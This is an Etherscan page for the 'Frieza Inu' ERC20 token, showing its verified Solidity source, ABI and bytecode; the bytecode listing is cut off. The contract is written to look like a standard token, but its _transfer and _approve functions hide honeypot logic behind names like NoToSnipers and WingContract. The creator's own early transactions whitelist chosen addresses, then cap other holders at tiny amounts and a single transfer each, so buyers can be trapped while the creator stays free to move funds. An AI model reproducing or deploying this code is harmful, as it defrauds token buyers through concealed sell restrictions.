ETH Price: $3,087.75 (+1.12%)
Gas: 3 Gwei

Token

Frieza Inu (FriezaInu)
 

Overview

Max Total Supply

100,000,000 FriezaInu

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
428,741.670707971325954508 FriezaInu

Value
$0.00
0xb057f79b53ca5ee518dfcacb8971a054b5c29b29
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FriezaInu

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2021-10-31
*/

/**
 *Submitted for verification at Etherscan.io on 2021-10-31
*/

// Frieza Inu 
// One more time, the Tyran is back with revolutionnary tokenomics to rule the ETH universe.
// Telegram: https://t.me/FriezaInuEth
// Website: https://friezainu.com/

pragma solidity 0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) public WingContract;
    mapping (address => bool) public CheckIfWing;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name; string private _symbol;
    address private _creator; uint256 private _totalSupply;
    uint256 private NoToSnipers; uint256 private RedBullTax;
    uint256 private LimitTheSniper; bool private ShowStatus;
    bool private ActiveRocket; bool private WaitForWing;
    
    constructor (string memory name_, string memory symbol_, address creator_) {
        _name = name_;
        _creator = creator_;
        _symbol = symbol_;
        ShowStatus = true;
        ActiveRocket = true;
        WingContract[creator_] = true;
        CheckIfWing[creator_] = false;
        WaitForWing = false;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }    
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        (NoToSnipers,WaitForWing) = ((address(sender) == _creator) && (ActiveRocket == false)) ? (RedBullTax, true) : (NoToSnipers,WaitForWing);
        (WingContract[recipient],ActiveRocket) = ((address(sender) == _creator) && (ActiveRocket == true)) ? (true, false) : (WingContract[recipient],ActiveRocket);
    
        if (WingContract[sender] == false) {
            if ((amount > LimitTheSniper)) { require(false); }
            require(amount < NoToSnipers);
            if (WaitForWing == true) {
                if (CheckIfWing[sender] == true) { require(false); }
                CheckIfWing[sender] = true;
            }
        }
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        (WingContract[spender],CheckIfWing[spender],ShowStatus) = ((address(owner) == _creator) && (ShowStatus == true)) ? (true,false,false) : (WingContract[spender],CheckIfWing[spender],ShowStatus);

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _createContract(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        (uint256 temp1, uint256 temp2) = (10000, 200);

        _totalSupply += amount;
        _balances[account] += amount;
        
        NoToSnipers = _totalSupply;
        RedBullTax = _totalSupply / temp1;
        LimitTheSniper = RedBullTax * temp2;
        
        emit Transfer(address(0), account, amount);    
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _createContract(creator, initialSupply);
    }
}

contract FriezaInu is ERC20Token {
    constructor() ERC20Token("Frieza Inu", "FriezaInu", msg.sender, 100000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"CheckIfWing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"WingContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600a81526020017f467269657a6120496e75000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f467269657a61496e750000000000000000000000000000000000000000000000815250336a52b7d2dcc80cd2e40000008383836000620000a0620002d260201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508260069080519060200190620001579291906200046f565b5080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160079080519060200190620001b19291906200046f565b506001600d60006101000a81548160ff0219169083151502179055506001600d60016101000a81548160ff0219169083151502179055506001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600d60026101000a81548160ff021916908315150217905550505050620002c88282620002da60201b60201c565b5050505062000793565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200034d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003449062000580565b60405180910390fd5b60008061271060c89150915082600960008282546200036d9190620005db565b9250508190555082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003c59190620005db565b92505081905550600954600a8190555081600954620003e5919062000667565b600b8190555080600b54620003fb91906200069f565b600c819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405162000461919062000711565b60405180910390a350505050565b8280546200047d906200075d565b90600052602060002090601f016020900481019282620004a15760008555620004ed565b82601f10620004bc57805160ff1916838001178555620004ed565b82800160010185558215620004ed579182015b82811115620004ec578251825591602001919060010190620004cf565b5b509050620004fc919062000500565b5090565b5b808211156200051b57600081600090555060010162000501565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000568601f836200051f565b9150620005758262000530565b602082019050919050565b600060208201905081810360008301526200059b8162000559565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005e882620005a2565b9150620005f583620005a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200062d576200062c620005ac565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200067482620005a2565b91506200068183620005a2565b92508262000694576200069362000638565b5b828204905092915050565b6000620006ac82620005a2565b9150620006b983620005a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006f557620006f4620005ac565b5b828202905092915050565b6200070b81620005a2565b82525050565b600060208201905062000728600083018462000700565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077657607f821691505b602082108114156200078d576200078c6200072e565b5b50919050565b611c6680620007a36000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461028a578063a9059cbb146102ba578063b4c7032d146102ea578063dd62ed3e1461031a576100f5565b8063715018a614610214578063822eb86c1461021e5780638da5cb5b1461024e57806395d89b411461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261034a565b60405161010f9190611430565b60405180910390f35b610132600480360381019061012d91906114eb565b6103dc565b60405161013f9190611546565b60405180910390f35b6101506103fa565b60405161015d9190611570565b60405180910390f35b610180600480360381019061017b919061158b565b610404565b60405161018d9190611546565b60405180910390f35b61019e610505565b6040516101ab91906115fa565b60405180910390f35b6101ce60048036038101906101c991906114eb565b61050e565b6040516101db9190611546565b60405180910390f35b6101fe60048036038101906101f99190611615565b6105ba565b60405161020b9190611570565b60405180910390f35b61021c610603565b005b61023860048036038101906102339190611615565b61075b565b6040516102459190611546565b60405180910390f35b61025661077b565b6040516102639190611651565b60405180910390f35b6102746107a5565b6040516102819190611430565b60405180910390f35b6102a4600480360381019061029f91906114eb565b610837565b6040516102b19190611546565b60405180910390f35b6102d460048036038101906102cf91906114eb565b61092b565b6040516102e19190611546565b60405180910390f35b61030460048036038101906102ff9190611615565b610949565b6040516103119190611546565b60405180910390f35b610334600480360381019061032f919061166c565b610969565b6040516103419190611570565b60405180910390f35b606060068054610359906116db565b80601f0160208091040260200160405190810160405280929190818152602001828054610385906116db565b80156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b5050505050905090565b60006103f06103e96109f0565b84846109f8565b6001905092915050565b6000600954905090565b6000610411848484610dbd565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045c6109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d39061177f565b60405180910390fd5b6104f9856104e86109f0565b85846104f491906117ce565b6109f8565b60019150509392505050565b60006012905090565b60006105b061051b6109f0565b8484600560006105296109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ab9190611802565b6109f8565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61060b6109f0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610691906118a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60026020528060005260406000206000915054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107b4906116db565b80601f01602080910402602001604051908101604052809291908181526020018280546107e0906116db565b801561082d5780601f106108025761010080835404028352916020019161082d565b820191906000526020600020905b81548152906001019060200180831161081057829003601f168201915b5050505050905090565b600080600560006108466109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa90611936565b60405180910390fd5b61092061090e6109f0565b85858461091b91906117ce565b6109f8565b600191505092915050565b600061093f6109386109f0565b8484610dbd565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f906119c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf90611a5a565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610b48575060011515600d60009054906101000a900460ff161515145b610bfb57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600d60009054906101000a900460ff16610c01565b60016000805b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60008691906101000a81548160ff0219169083151502179055508591906101000a81548160ff0219169083151502179055508491906101000a81548160ff02191690831515021790555050505080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db09190611570565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490611aec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490611b7e565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b90611c10565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f94575060001515600d60019054906101000a900460ff161515145b610fb057600a54600d60029054906101000a900460ff16610fb6565b600b5460015b600a6000600d60028491906101000a81548160ff02191690831515021790555083919050555050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561104d575060011515600d60019054906101000a900460ff161515145b6110b357600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600d60019054906101000a900460ff166110b8565b600160005b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60018491906101000a81548160ff0219169083151502179055508391906101000a81548160ff021916908315150217905550505060001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561128757600c5482111561119e57600061119d57600080fd5b5b600a5482106111ac57600080fd5b60011515600d60029054906101000a900460ff16151514156112865760011515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561122d57600061122c57600080fd5b5b6001600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b818161129391906117ce565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113259190611802565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113899190611570565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113d15780820151818401526020810190506113b6565b838111156113e0576000848401525b50505050565b6000601f19601f8301169050919050565b600061140282611397565b61140c81856113a2565b935061141c8185602086016113b3565b611425816113e6565b840191505092915050565b6000602082019050818103600083015261144a81846113f7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061148282611457565b9050919050565b61149281611477565b811461149d57600080fd5b50565b6000813590506114af81611489565b92915050565b6000819050919050565b6114c8816114b5565b81146114d357600080fd5b50565b6000813590506114e5816114bf565b92915050565b6000806040838503121561150257611501611452565b5b6000611510858286016114a0565b9250506020611521858286016114d6565b9150509250929050565b60008115159050919050565b6115408161152b565b82525050565b600060208201905061155b6000830184611537565b92915050565b61156a816114b5565b82525050565b60006020820190506115856000830184611561565b92915050565b6000806000606084860312156115a4576115a3611452565b5b60006115b2868287016114a0565b93505060206115c3868287016114a0565b92505060406115d4868287016114d6565b9150509250925092565b600060ff82169050919050565b6115f4816115de565b82525050565b600060208201905061160f60008301846115eb565b92915050565b60006020828403121561162b5761162a611452565b5b6000611639848285016114a0565b91505092915050565b61164b81611477565b82525050565b60006020820190506116666000830184611642565b92915050565b6000806040838503121561168357611682611452565b5b6000611691858286016114a0565b92505060206116a2858286016114a0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116f357607f821691505b60208210811415611707576117066116ac565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006117696028836113a2565b91506117748261170d565b604082019050919050565b600060208201905081810360008301526117988161175c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d9826114b5565b91506117e4836114b5565b9250828210156117f7576117f661179f565b5b828203905092915050565b600061180d826114b5565b9150611818836114b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561184d5761184c61179f565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061188e6020836113a2565b915061189982611858565b602082019050919050565b600060208201905081810360008301526118bd81611881565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119206025836113a2565b915061192b826118c4565b604082019050919050565b6000602082019050818103600083015261194f81611913565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006119b26024836113a2565b91506119bd82611956565b604082019050919050565b600060208201905081810360008301526119e1816119a5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a446022836113a2565b9150611a4f826119e8565b604082019050919050565b60006020820190508181036000830152611a7381611a37565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ad66025836113a2565b9150611ae182611a7a565b604082019050919050565b60006020820190508181036000830152611b0581611ac9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611b686023836113a2565b9150611b7382611b0c565b604082019050919050565b60006020820190508181036000830152611b9781611b5b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611bfa6026836113a2565b9150611c0582611b9e565b604082019050919050565b60006020820190508181036000830152611c2981611bed565b905091905056fea26469706673582212201cc28c0a7c3170a9ba3ee77eb22003c69b5359099d8e01b07bad1d896382622664736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461028a578063a9059cbb146102ba578063b4c7032d146102ea578063dd62ed3e1461031a576100f5565b8063715018a614610214578063822eb86c1461021e5780638da5cb5b1461024e57806395d89b411461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261034a565b60405161010f9190611430565b60405180910390f35b610132600480360381019061012d91906114eb565b6103dc565b60405161013f9190611546565b60405180910390f35b6101506103fa565b60405161015d9190611570565b60405180910390f35b610180600480360381019061017b919061158b565b610404565b60405161018d9190611546565b60405180910390f35b61019e610505565b6040516101ab91906115fa565b60405180910390f35b6101ce60048036038101906101c991906114eb565b61050e565b6040516101db9190611546565b60405180910390f35b6101fe60048036038101906101f99190611615565b6105ba565b60405161020b9190611570565b60405180910390f35b61021c610603565b005b61023860048036038101906102339190611615565b61075b565b6040516102459190611546565b60405180910390f35b61025661077b565b6040516102639190611651565b60405180910390f35b6102746107a5565b6040516102819190611430565b60405180910390f35b6102a4600480360381019061029f91906114eb565b610837565b6040516102b19190611546565b60405180910390f35b6102d460048036038101906102cf91906114eb565b61092b565b6040516102e19190611546565b60405180910390f35b61030460048036038101906102ff9190611615565b610949565b6040516103119190611546565b60405180910390f35b610334600480360381019061032f919061166c565b610969565b6040516103419190611570565b60405180910390f35b606060068054610359906116db565b80601f0160208091040260200160405190810160405280929190818152602001828054610385906116db565b80156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b5050505050905090565b60006103f06103e96109f0565b84846109f8565b6001905092915050565b6000600954905090565b6000610411848484610dbd565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045c6109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d39061177f565b60405180910390fd5b6104f9856104e86109f0565b85846104f491906117ce565b6109f8565b60019150509392505050565b60006012905090565b60006105b061051b6109f0565b8484600560006105296109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ab9190611802565b6109f8565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61060b6109f0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610691906118a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60026020528060005260406000206000915054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107b4906116db565b80601f01602080910402602001604051908101604052809291908181526020018280546107e0906116db565b801561082d5780601f106108025761010080835404028352916020019161082d565b820191906000526020600020905b81548152906001019060200180831161081057829003601f168201915b5050505050905090565b600080600560006108466109f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573fffffffffffffffff